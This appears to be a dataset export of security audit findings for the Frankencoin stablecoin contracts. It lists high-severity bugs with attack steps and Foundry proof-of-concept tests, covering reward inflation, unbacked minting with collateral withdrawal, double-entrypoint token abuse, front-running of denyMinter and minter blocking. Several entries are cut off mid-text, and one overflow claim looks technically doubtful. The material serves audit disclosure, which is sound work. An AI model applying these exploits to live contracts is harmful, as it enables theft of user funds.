xanoutas/solidity-security-findings huggingface dataset:
Challenger incentives can be inflated with external transfers
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354


# Vulnerability details

## Impact
The function `notifyChallengeSucceeded` calculates the volume of ZCHF to be repaid, which is then used to calculate the reward for the challenger. The challenger can however artificially inflate this value.

A challenger can start a challenge on an undercollateralized position, but specify the `_collateralAmount` far higher than the actual collateral available. If the liquidation amount is higher than the collateral amount, the contract scales down the specified amount until it matches the collateral present in the contract. However any user can do external transfers of the collateral to inflate the collateral in the contract.

If the challenger is also a bidder, they can artificially inflate the collateral in the Position and then submit the winning bid. The challenger gets paid all the collateral since they are also the bid winner, and on top of it a reward based on the volume, which is artificially pumped up. Thus under certain conditions, bad actors can claim large reward amounts even for small positions.

Consider the case where there exists 1 ETH collateral, and 1500 ZCHF minted against that position. Price of ETH drops and the position is undercollateralized, thus a challenge is opened by the malicious challenger, but instead of claiming 1 ETH, they claim 10 ETH. the function `notifyChallengeSucceeded` calculates the end results of the bidding, and calculates the `volume`.
```solidity
        uint256 colBal = collateralBalance();
        if (_size > colBal) {
            // tell the caller that a part of the bid needs to be returned to the bidder.
            _bid = _divD18(_mulD18(_bid, colBal), _size);
            _size = colBal;
        }
        uint256 volumeZCHF = _mulD18(price, _size);
```

Right before closing the bid, the challenger/bid winner can send the contract the extra 9 ETH. This way, the `colBal` value matches `_size`, and the `volumeZCHF` is calculated based on a collateral of 10 ETH, instead of 1 ETH.

This value of `volumeZCHF` is used to pay out rewards. Thus the challenger is able to secure 10x the rewards for the position.
```solidity
uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000; // Volume is inflated to 10x
```
## Proof of Concept
The attack can be done in the following steps:
1. Open challenge on an underwater position but with 10x the collateral amount.
2. Bid on own position to offset the cost from the next step.
3. Right before `end()` is called, send the 9x collateral amount to the contract. Due to winning the bid, all initial costs are repaid, and 10x rewards are paid on top.

## Tools Used
Manual Review
## Recommended Mitigation Steps
Do not allow challenges with `_collateralAmount` higher than the actual collateral balance.
`votes[to]` mapping anchor time not adjusted correctly in `Equity.adjustRecipientVoteAnchor()` can lead to unexpected results
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L161


# Vulnerability details

## [H-01] `votes[to]` mapping anchor time not adjusted correctly in `Equity.adjustRecipientVoteAnchor()` can lead to unexpected results

## Proof of Concept
[Equity.sol#L161](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L161)
```solidity
function adjustRecipientVoteAnchor(address to, uint256 amount) internal returns (uint256){
    if (to != address(0x0)) {
        uint256 recipientVotes = votes(to); // for example 21 if 7 shares were held for 3 blocks
        uint256 newbalance = balanceOf(to) + amount; // for example 11 if 4 shares are added
        voteAnchor[to] = uint64(anchorTime() - recipientVotes / newbalance); // new example anchor is only 21 / 11 = 1 block in the past
        return recipientVotes % newbalance; // we have lost 21 % 11 = 10 votes
    } else {
        // optimization for burn, vote anchor of null address does not matter
        return 0;
    }
}
```
In the `Equity.sol` contract, all recorded times are shifted by 24 bits to account for a sub-block time resolution of 24 bits.

```solidity
voteAnchor[to] = uint64(anchorTime() - recipientVotes / newbalance); 
```
However, in `Equity.adjustRecipientVoteAnchor()`, the `voteAnchor` mapping is incorrectly assigned to simply subtracting a decimal value of `recipientVotes/newBalance` instead of the correctly shifted value by 24 bits. This can lead to unexpected results as vote anchor of recipient is moved forward by alot lesser than expected.

This can mean the following:

-Not passing `canRedeem` checks when supposed to, leading to share holders unable to receive ZCHF tokens.

-Overestimation of `lostVotes` via `adjustTotalVotes` during moving of tokens (minting/transferring). This could lead to lower than expected `totalVotesAtAnchor`, leading to lower than expected `Equity.totalVotes()` calculated in system

-Underestimation of votes that `holder` (recipient) of tokens have. This can inturn lead to failing `Equity.checkQualified()` function even when they have enough votes. Prevents qualified share holders from denying minters, freshly proposed position and ability to restructure system.

For example, take the following scenario where `anchorTime() = 3 << 24` and scenario of user trying to reedeem ZCHF tokens after minimum holding duration of 5 blocks.

1.Alice have 7 shares and held it for 3 blocks
2.Based on `Equity.votes(address holder)`, she will have 21 shares (7 * 3 << 24)
3.Bob transfers alice 4 ZCHF tokens, so alice's new balance is 11 Tokens
4.To make sure votes of Alice does not change due to higher balance, we shift vote anchor forard but here we only shift it by 21/11 = 1 (rounddown). That is `voteAnchor[to] = (3 << 24) - 1 = 50331647` instead of `(3 << 24) - (1 << 24) = 33554432`
5.Assume some time has passed and no minting or transferring to Alice has occured, now `anchorTime = 7 << 24` (5 blocks). Assu
Share accounting is incorrect
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L266-L270
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L290-L297


# Vulnerability details

## Bug Description

### Share Distrbution

In the `Equity` contract, the amount of shares minted to a depositor is determined using `calculateSharesInternal()`:

[Equity.sol#L266-L270](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L266-L270)

```solidity
function calculateSharesInternal(uint256 capitalBefore, uint256 investment) internal view returns (uint256) {
    uint256 totalShares = totalSupply();
    uint256 newTotalShares = totalShares < 1000 * ONE_DEC18 ? 1000 * ONE_DEC18 : _mulD18(totalShares, _cubicRoot(_divD18(capitalBefore + investment, capitalBefore)));
    return newTotalShares - totalShares;
}
```

Where:
- `capitalBefore` - Total amount of Frankencoin in reserves before the deposit.
- `investment` - Amount of Frankencoin deposited by the user.

The amount of shares minted can be simplified into the following formula:

$$ shares = totalShares \times \biggl( \sqrt[3]{ 1 + \frac{investment}{capitalBefore} } - 1 \biggr) $$

Due to the cube root, users will receive less shares for depositing the same amount of Frankencoin when `capitalBefore` is larger. Assume the following:
- `totalShares = 1000`
- `capitalBefore = 1000`

If a user deposits 1000 Frankencoin, he gains the following amount of shares:

$$ shares = 1000 \times \biggl( \sqrt[3]{ 1 + \frac{1000}{1000} } - 1 \biggr) \approx 260 $$

Now, if another user deposits 1000 Frankencoin, he will get less shares:

$$ shares = 1260 \times \biggl( \sqrt[3]{ 1 + \frac{1000}{2000} } - 1 \biggr) \approx 182 $$

### Share Redemption

Similarly, the `calculateProceeds()` function is used to calculate how much Frankencoin a user should get for burning shares:

[Equity.sol#L290-L297](https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L290-L297)

```solidity
function calculateProceeds(uint256 shares) public view returns (uint256) {
    uint256 totalShares = totalSupply();
    uint256 capital = zchf.equity();
    require(shares + ONE_DEC18 < totalShares, "too many shares"); // make sure there is always at least one share
    uint256 newTotalShares = totalShares - shares;
    uint256 newCapital = _mulD18(capital, _power3(_divD18(newTotalShares, totalShares)));
    return capital - newCapital;
}
```

Where:
- `shares` - Amount of shares burned by the user.

The amount of Frankencoin can be simplified into the formula below:

$$ proceeds = capital \times \biggl( 1 - \biggl( 1 - \frac{shares}{totalShares} \biggr)^3 \biggr)$$

Due to the power 3, users will receive less Frankencoin for burning the same amount of shares when `totalShares` is smaller. Assume the following:
- `capital = 1000`
- `totalShares = 1000`

If a user redeems 100 shares, he gains the following amount of Frankencoin:

$$ proceeds = 1000 \times
[H-06] Double-entrypoint collateral token allows position owner to withdraw underlying collateral without repaying ZCHF
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L245-L255


# Vulnerability details

## Impact

`Position::withdraw` is intended to allow the position owner to withdraw any ERC20 token which might have ended up at position address. If the collateral address is passed as argument then `Position::withdrawCollateral` is called to perform the necessary checks and balances. However, this can be bypassed if the collateral token is a double-entrypoint token.

Such tokens are problematic because the legacy token delegates its logic to the new token, meaning that two separate addresses are used to interact with the same token. Previous examples include TUSD which resulted in [vulnerability when integrated into Compound](https://blog.openzeppelin.com/compound-tusd-integration-issue-retrospective/). This highlights the importance of carefully selecting the collateral token, especially as this type of vulnerability is not easily detectable. In addition, it is not unrealistic to expect that an upgradeable collateral token could become a double-entrypoint token in the future, e.g. USDT, so this must also be considered.

This vector involves the position owner dusting the contract with the collateral token's legacy counterpart which allows them to withdraw the full collateral balance by calling `Position::withdraw` passing the legacy address as `token` argument. This behaviour is flawed as the position owner should repay the ZCHF debt before withdrawing their underlying collateral.

## Proof of Concept

Apply the following git diff:

```diff
diff --git a/.gitmodules b/.gitmodules
index 888d42d..e80ffd8 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,6 @@
 [submodule "lib/forge-std"]
 	path = lib/forge-std
 	url = https://github.com/foundry-rs/forge-std
+[submodule "lib/openzeppelin-contracts"]
+	path = lib/openzeppelin-contracts
+	url = https://github.com/openzeppelin/openzeppelin-contracts
diff --git a/lib/openzeppelin-contracts b/lib/openzeppelin-contracts
new file mode 160000
index 0000000..0a25c19
--- /dev/null
+++ b/lib/openzeppelin-contracts
@@ -0,0 +1 @@
+Subproject commit 0a25c1940ca220686588c4af3ec526f725fe2582
diff --git a/test/DoubleEntryERC20.sol b/test/DoubleEntryERC20.sol
new file mode 100644
index 0000000..b871288
--- /dev/null
+++ b/test/DoubleEntryERC20.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
+import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
+
+interface DelegateERC20 {
+    function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
+    function delegateBalanceOf(address account) external view returns (uint256);
+}
+
+contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
+    DelegateERC20 public delegate;
+
+    constructor() {
+        _mint(msg.sender, 100 ether);
+
Positions can be created to mint unlimited tokens and still run off with the provided collateral.
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L177


# Vulnerability details

## Impact

## Brief Introduction
A compromised position can be used to mint tokens up to the limit. The attacker can also withdraw this collateral. Hence, the attacker can mint tokens against his collateral and withdraw his collateral at the same time.

## Explanation
FrankenCoin token ZCHF can be minted by creating a position through MintingHub. To maintain the ecosystem, these position have to approved by FPS holders. If approved, the owners of the positions are allowed to do as they please. Hence the exploit.

1. Bob submits a new position and the position is approved.
2. Bob mint the max for the position for himself passing his address as the target address.
3. He withdraws his collateral leaving enough to guarantee withdrawal. This is because the contract calls position::checkCollateral during execution.

The success of this exploit is contingent on the understanding of the attacker of the contracts, how much collateral he is willing to provide and if the position he created was approved. 


## Proof of Concept
```
contract MintingHubTest is Test {
    MintingHub mintingHub;
    IERC20 collateral;

    function setUp() public {
        mintingHub = MintingHub(0x0E5Dfe570E5637f7b6B43f515b30dD08FBFCb9ea);
        collateral = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

        deal(address(collateral), address(this), 100_000 ether);
        deal(address(mintingHub.zchf()), address(this), 1_000 ether);
    }

    function testMinterFraud() public {
        collateral.approve(address(mintingHub), 100_000 ether);
        address pos = mintingHub.openPosition(address(collateral), 5 ether, 100_000 ether, 1_000_000 ether, 259200, 31536000, 86400, 30000, 1_600 ether , 200000);
        console.log("New position opened with the address: ", pos);

        vm.warp(block.timestamp + 7 days);
        for(uint i; i < 100; ++i){
            Position(pos).mint(address(this), 10_000 ether);
            console.log("ZCHF Balance of this address is ", mintingHub.zchf().balanceOf(address(this))/1e18);
        }
        Position(pos).withdrawCollateral(address(this), 99_370 ether);
        console.log("Collateral Balance of this address is ", collateral.balanceOf(address(this))/1e18);
    }
}
```
## Tools Used
This test was developed in a foundry environment and the test ran on a fork of the mainnet.

## Recommended Mitigation Steps
FrankenCoin should review the system around the minting of their ZCHF token
Let Me Suggest For You
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83-L90


# Vulnerability details

 

## Impact
Scope of vulnerabiliy - 

This vulnerability allows any user (including users the do not own any share tokens) to effectivly cast a veto on a minter suggetion.
The only requirement to excecute the vulnerability is to have the minimun fee in the acccount.

In the future, the 3% needed to veto will cost very high amounts of money (currently when the system wasn't adapted yet it costs 4500 usd).
The vulnerability is basicly a 1 use veto for only the minimum fee amounts.

lets say 2 crypto whales or large bodies (perhaps even governments) race for minting proposition.
with the vulnerability 1 whale can make it hard for the other to suggest a minter, while paying practicly nothing (from a whale perspective) and staying anonymous (if excected from an unknown address)

in combination with listening the the miners pool, an attacker can wait for the suggestMinter function to be called, and then immediately before it (using higher fees) call the function himself and prevent the minterSuggestion.

In addition, there might be cases where the suggest minter function will become cheaper then 
the gas in the votes function. This might happen when the market is wide and gathering 3% 
requires a lot of people. And since in the deny function the denier is'nt rewarded the whole
process of suggest minter -> deny becomes some kind of hostage situation.



**Suggested severity - HIGH**





## Proof of Concept

### description
User is able to make a contract uneligable to become a minter - 

How? in function suggestMinter in contract Frankencoin, there are 3 revert conditions
```java
if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
if (_applicationFee < MIN_FEE  && totalSupply() > 0) revert FeeTooLow();
if (minters[_minter] != 0 && minters[_minter] <= block.timestamp + _applicationPeriod) revert AlreadyRegistered();
```
The 3rd condition can be exploited in the following way - 
any user in the blockchain (perhaps not the owner of the minter contract proposed) can suggest the contract for minting,
but set the time to be very high (for example 10000 years)/
This way the contrack be able to become a minter only after an extremly long time, or after the last suggestion is vetoed.

### code
```java
contract myTest is Test{

    address EquityC;
    address FrankencoinC;
    address MintingHubC;
    address PositionC;
    address PositionFactoryC;
    address StablecoinBridgeC;



    function setUp() public{
        uint arbitraryNumber = 5000;
        FrankencoinC = address(new Frankencoin(arbitraryNumber));
        Frankencoin(FrankencoinC).suggestMinter(address(this), 0, 0, "msg");


    }


    function testMinterBlock() external{
        address WannaBeMinter = address(0xa);
        // minting enough money to activate the mint 
        Fra
A MINTER CAN STOP A QUALIFIED POOL SHARE HOLDER FROM `DENYING THE MINTER` DURING THE APPLICATION PERIOD BY FRONT-RUNNING THE TRANSACTION
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L152-L157
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L209-L212
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L190-L202
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L220-L223


# Vulnerability details

## Impact

A minter can stop a Qualified pool share holder from denying the minter during the application period by front-running the transaction

Consider the following scenario:

1 . Assume minter is `User A` and Qualified pool share holder is `User B`.
2 . `User A` calls the `Equity.delegateVoteTo(User B)` and delegates his votes to `User B`.
    This makes `delegates[User A] = User B`
3 . Let's assume the `User B` now needs to deny the minter `User A` during the application period.
4 . `User B` calls the `Frankencoin.denyMinter` to deny minter `User A`, and provides the `_helpers` address[] which includes `User A` as well.
5 . `User A` sees this transaction and front runs it with call to `Equity.delegateVoteTo(0x0)`.
6 . Since now the `delegates[User A] == address(0x0)`, the `Equity.canVoteFor` will return `false`.
7 . This will revert the `Equity.votes(address, address[])` function thus reverting the `Frankencoin.denyMinter` transaction originated by `User B`.
8 . Hence the minter `User A` will still be able to remain as a minter without getting denied. 

Not only the minter `User A` can front run the `Frankencoin.denyMinter` transaction, even a friend of `User A` who is in `_helpers` address[] array can front-run the `Frankencoin.denyMinter` transaction with a call to `Equity.delegateVoteTo(0x0)` and save the minter `User A` from getting denied.

Due to this, a core functionality of the protocol is broken.

## Proof of Concept

```solidity
   function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external {
      if (block.timestamp > minters[_minter]) revert TooLate();
      reserve.checkQualified(msg.sender, _helpers);
      delete minters[_minter];
      emit MinterDenied(_minter, _message);
   }
```
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L152-L157

```solidity
    function checkQualified(address sender, address[] calldata helpers) public override view {
        uint256 _votes = votes(sender, helpers);
        if (_votes * 10000 < QUORUM * totalVotes()) revert NotQualified();
    }
```
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L220-L223

```solidity
    function votes(address sender, address[] calldata helpers) public view returns (uint256) {
        uint256 _votes = votes(sender);
        for (uint i=0; i<helpers.length; i++){
            address current = helpers[i];
            require(current != sender);
            require(canVoteFor(sender, current));
            for (uint j=i+1; j<helpers.length;
Underflow in suggestMinter function
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83-L90


# Vulnerability details

## Impact
The suggestMinter function in the smart contract allows users to suggest a new minter address by specifying an application period, an application fee, and a message. The function sets the minters[_minter] mapping to the current block timestamp plus the specified application period. However, if the user specifies an application period that is too long and causes an underflow, the value of minters[_minter] may be set to 0.

```
function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external {
      if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
      if (_applicationFee < MIN_FEE  && totalSupply() > 0) revert FeeTooLow();
      if (minters[_minter] != 0) revert AlreadyRegistered();
      _transfer(msg.sender, address(reserve), _applicationFee);
      minters[_minter] = block.timestamp + _applicationPeriod;
      emit MinterApplied(_minter, _applicationPeriod, _applicationFee, _message);
   }
```



## Proof of Concept
An attacker can exploit this vulnerability to propose a new minter with an application period that causes an underflow in minters[_minter]. 
an attacker can send the value of type(uint256).max - block.timestamp + 1 to _applicationPeriod
therefore minters[_minter]  will be zero since minters[_minter] = block.timestamp + type(uint256).max - block.timestamp + 1


## Recommended Mitigation Steps

To mitigate this vulnerability, the suggestMinter function should validate the input parameters to ensure that the application period does not result in an underflow